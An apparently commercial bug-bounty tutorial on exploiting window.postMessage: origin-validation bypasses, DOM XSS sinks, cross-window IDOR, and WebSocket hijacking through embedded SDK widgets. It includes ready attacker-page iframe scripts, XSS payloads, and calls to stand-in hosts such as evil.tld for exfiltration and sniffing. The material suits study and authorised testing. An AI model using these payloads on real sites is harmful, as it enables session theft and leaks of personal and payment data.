Intermediate levelWith account

postMessage — common vulnerabilities: origin bypass, XSS sink, cross-window IDOR

How to identify and exploit vulnerabilities in window.postMessage(): listeners without origin validation, insecure JSON payloads that reach DOM XSS, cross-origin IDOR.

Gorka El BochiMay 11, 202613 min

Quick answer

window.postMessage() is the IPC channel between iframes/windows of different origins — and it's one of the most underestimated DOM XSS sinks of 2026. The rule: if a listener processes event.data without validating event.origin, any site that can open/embed your target can send the payload. Three profitable patterns: origin not validated (classic XSS), lax origin regex (bypass with sub-strings), and payload that flows to innerHTML/eval/location. Bounties: €1,500-€8,000 with a multiplier when the target is an embedded SDK (fintech, payment widgets).


The postMessage model

javascript
// Sender (cualquier origen)
window.parent.postMessage({type: "ready"}, "*");

// Receiver (target)
window.addEventListener("message", (event) => {
  // event.origin → origen del sender
  // event.data   → payload
  // event.source → window que envió
});

postMessage is cross-origin by design. The sender can be any site. Security depends entirely on the receiver validating event.origin.


Vulnerable pattern 1 — origin not validated

The sin of embedded SDKs and widgets:

javascript
window.addEventListener("message", (event) => {
  // NO valida origin
  const data = JSON.parse(event.data);
  document.getElementById("output").innerHTML = data.html;
});

Any site that can embed this page sends:

javascript
// attacker.tld
const iframe = document.createElement("iframe");
iframe.src = "https://target.com/widget";
iframe.onload = () => {
  iframe.contentWindow.postMessage(
    JSON.stringify({ html: "<img src=x onerror=alert(document.domain)>" }),
    "*"
  );
};
document.body.appendChild(iframe);

→ XSS on target.com with same-origin cookies.

Detection

Search for all addEventListener("message", ...) in JS bundles. If the handler doesn't reference event.origin → vulnerable.

bash
# grep en bundles minificados
grep -oP "addEventListener\(['\"]message['\"][^}]+" main.js | head -20

DevTools → Sources → search "message" → inspect the handler.


Vulnerable pattern 2 — origin validated with a weak regex

Devs know they must validate origin. But they write permissive regexes:

Anti-pattern A: indexOf / includes

javascript
if (event.origin.indexOf("target.com") !== -1) {
  // process
}

Bypass:

  • https://target.com.attacker.tld → contains "target.com"
  • https://attacker.tld/target.com → contains "target.com" (origin doesn't include the path but some parsers confuse it — depends on the browser)
  • https://target.coma.tld → if it only looks for "target.co"

Anti-pattern B: startsWith

javascript
if (event.origin.startsWith("https://target")) accept();

Bypass: https://target.attacker.tld starts with "https://target".

Anti-pattern C: regex without anchors

javascript
if (/target\.com/.test(event.origin)) accept();

Bypass: https://attacker.tld?x=target.com — but origin doesn't include the query so this doesn't work directly. It does work: https://target.com.attacker.tld (matches "target.com" as a substring).

Anti-pattern D: split and partial comparison

javascript
const host = event.origin.split("//")[1];
if (host.endsWith("target.com")) accept();

Bypass: https://eviltarget.com ends with "target.com".

[!warning] Correct validation event.origin === "https://target.com" — exact match. If you need multiple origins, use an explicit whitelist: ["https://target.com", "https://app.target.com"].includes(event.origin).

<!-- PAYWALL -->

Vulnerable pattern 3 — origin validated, payload not sanitized

The receiver validates origin but blindly trusts the payload. If the legitimate sender is compromised (XSS, supply chain, malicious iframe), the chain is still exploitable.

javascript
window.addEventListener("message", (event) => {
  if (event.origin !== "https://trusted-cdn.com") return;
  document.getElementById("output").innerHTML = event.data.html;  // sink
});

If trusted-cdn.com has XSS anywhere → it escalates to target.com.

Typical sinks in postMessage handlers

SinkPayloadResult
innerHTML = data<img src=x onerror=alert(1)>DOM XSS
eval(data)alert(1)DOM XSS
setTimeout(data, 0) (string)alert(1)DOM XSS
location.href = datajavascript:alert(1)XSS via URL
document.write(data)<script>alert(1)</script>DOM XSS
Reflected in DOM treepoorly escaped template stringStored-via-postMessage XSS
fetch(data.url) with credentialshttps://evil.tld/exfilCSRF-like exfiltration

Cross-window IDOR via postMessage

Some widgets expose RPC over postMessage — the child window requests data from the parent via postMessage({type: "getUser", id: X}) and the parent responds with the user data.

Test

javascript
// attacker.tld embebe widget
const iframe = document.createElement("iframe");
iframe.src = "https://widget.target.com/embed";
iframe.onload = () => {
  iframe.contentWindow.postMessage({ type: "getUser", id: "VICTIMA" }, "*");
};

window.addEventListener("message", (event) => {
  console.log("Response:", event.data);    // → datos de la víctima
});

If the widget doesn't validate that the requested id belongs to the user currently authenticated in the parent → cross-window IDOR.

Vulnerable RPC patterns

  • {type: "getProfile", userId: X} — profile leak
  • {type: "getEmail"} — email leak assuming "the child knows who it is"
  • {type: "getCookie", name: "session"} — cookie exfil (a serious anti-pattern)
  • {type: "navigate", url: X} — open redirect / phishing

Source bypass — trusting event.source

Some handlers validate event.source instead of event.origin:

javascript
window.addEventListener("message", (event) => {
  if (event.source === window.opener) accept();
});

Bypass: the attacker opens the target with window.open(), then places the vulnerable iframe inside it. event.source is window from the iframe — but if the app is distributed (target embeds a cdn widget), the chain is:

javascript
atacante.tldwindow.open(target.com)
                                ↓
                target.com tiene iframe (widget.com)
                                ↓
                widget.com postMessage al parent (target.com)
                                ↓
                target.com responde: event.source === window.opener?
                                ↓
                widget.com es el iframe, no window.opener → falla
                                ↓
                atacante.tld es window.openertrick:
                inyectar payload desde atacante.tld via window.open ref

Source validation without origin validation is bypassable in nested scenarios.


WebSocket hijacking via postMessage

Documented pattern: a fintech SDK exposes a WebSocket connection via postMessage. The widget opens a WS to the backend to receive realtime data. If the /ws/connect endpoint is invoked via postMessage RPC:

javascript
// atacker.tld embebe widget
iframe.contentWindow.postMessage(
  { type: "wsConnect", url: "wss://evil.tld/sniff" },
  "*"
);

The widget opens a WS to evil.tld → sent with target's cookies → WebSocket Hijacking via postMessage. A profitable combination when the WS carries financial tokens, payment info, or session keys.


Embedded SDK iframe — the gold mine

Payment widgets (Stripe Elements, Square, Klarna), chat widgets (Intercom, Drift), analytics widgets (Mixpanel) usually embed an iframe that communicates with the parent via postMessage.

Why they're profitable

  • The parent must send sensitive data to the iframe (card number, contact info).
  • The iframe must respond to the parent with events ("card valid", "user typed").
  • If EITHER side has weak origin validation → PII / payment exfil.

Test pattern

  1. Embed the widget in attacker.tld.
  2. Send postMessage with all the type values documented in the public SDK.
  3. Send postMessage with undocumented type values — there are frequently exposed internal handlers.
  4. Any response with the parent's user data → leak.

Hunting checklist

  • List every addEventListener("message", ...) in the app's JS bundles.
  • For each handler: does it validate event.origin?
  • If it validates: is it an exact match (===) or regex/indexOf/startsWith (vulnerable)?
  • Identify the sink: innerHTML, eval, location.href, document.write, setTimeout(string), fetch(data.url).
  • Embed the widget on your domain and send payloads exploring each type the handler processes.
  • IDOR via postMessage RPC: request data with another user's id.
  • WebSocket / fetch hijack: does the handler open connections with a controllable URL?
  • Source bypass: if it validates event.source, look for chains with window.open + iframe.
  • Embedded payment/chat/analytics SDK → undocumented handlers.
  • Verify origin validation with https://eviltarget.com and https://target.com.evil.tld.
  • Document: PoC with an iframe on attacker.tld + impact (XSS, PII leak, payment data exfil).

Practice origin bypass, sink discovery and cross-window IDOR in postMessage labs.

Practice this in a lab

Zero Click Postmessage Origin Bypass

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account
Premium · 1 more technique

There's an extra payload at the end

El truco postMessage + WebSocket Hijacking que da takeover zero-click en SDKs embeded de fintech populares.

Unlock

€7.99/mo · cancel anytime

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy